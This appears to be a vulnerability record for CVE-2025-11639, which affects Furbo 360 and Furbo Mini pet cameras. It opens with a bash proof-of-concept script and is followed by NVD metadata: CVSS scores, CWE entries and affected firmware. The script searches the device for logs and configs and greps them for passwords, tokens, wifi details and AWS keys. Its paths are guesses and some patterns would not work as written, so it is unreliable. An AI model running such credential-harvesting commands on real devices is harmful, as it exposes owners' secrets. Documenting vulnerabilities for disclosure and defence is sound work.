CVE-2025-11639

#!/bin/bash # CVE-2025-11639 PoC - Insecure Storage of Sensitive Information # Vulnerability: Debug Log S3 Bucket Handler in collect_logs.sh # Affected: Tomofun Furbo 360 (<= FB0035_FW_036) and Furbo Mini (<= MC0020_FW_074) # Step 1: Gain local low-privilege access to the Furbo device # This could be through physical access, SSH, or other local vectors echo "[*] Establishing local access to Furbo device..." # Step 2: Locate the debug log files generated by collect_logs.sh echo "[*] Searching for debug log files..." find / -name "*.log" -path "*furbo*" 2>/dev/null find / -name "collect_logs*" 2>/dev/null find /tmp -type f 2>/dev/null find /var/log -type f 2>/dev/null # Step 3: Examine the debug log contents for sensitive information echo "[*] Extracting sensitive information from debug logs..." LOG_FILES=$(find / -name "*.log" -path "*debug*" 2>/dev/null) for log_file in $LOG_FILES; do echo "[*] Analyzing: $log_file" # Look for credentials, tokens, API keys grep -i "password\|token\|api_key\|secret\|credential\|aws_access\|wifi\|ssid" "$log_file" # Look for S3 bucket configuration grep -i "s3\|bucket\|aws" "$log_file" done # Step 4: Check S3 bucket handler configuration echo "[*] Checking S3 bucket handler configuration..." cat /etc/furbo/s3_config* 2>/dev/null cat /opt/furbo/config/* 2>/dev/null # Step 5: Extract any hardcoded credentials or sensitive data echo "[*] Extracted sensitive data:" grep -r "AKIA[0-9A-Z]{16}" /tmp/ /var/log/ 2>/dev/null # AWS Access Key IDs grep -r "[0-9a-zA-Z/+]{40}" /tmp/ /var/log/ 2>/dev/null # AWS Secret Keys echo "[*] PoC execution complete - sensitive information exposed"

{"cve": {"id": "CVE-2025-11639", "sourceIdentifier": "[email protected]", "published": "2025-10-12T18:15:33.667", "lastModified": "2025-10-29T13:54:21.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Tomofun Furbo 360 and Furbo Mini. The impacted element is an unknown function of the file collect_logs.sh of the component Debug Log S3 Bucket Handler. The manipulation leads to insecure storage of sensitive information. An attack has to be approached locally. The firmware versions determined to be affected are Furbo 360 up to FB0035_FW_036 and Furbo Mini up to MC0020_FW_074. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-922"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-922"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_mini_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "074", "matchCriteriaId": "06B19876-699B-455F-945F-AF26C60BF965"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_mini:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F549356-AF78-447C-8689-D9DD1A9202DC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_360_dog_camera_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "036", "matchCriteriaId": "6DDA1333-73CD-494A-8DD3-9543FDFD47A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_360_dog_camera:*:*:*:*:*:*:*:*", "matchCriteriaId": "08CA8E77-413F-4849-A110-49DB5DDA29C5"}]}]}], "references": [{"url": "https://v ... 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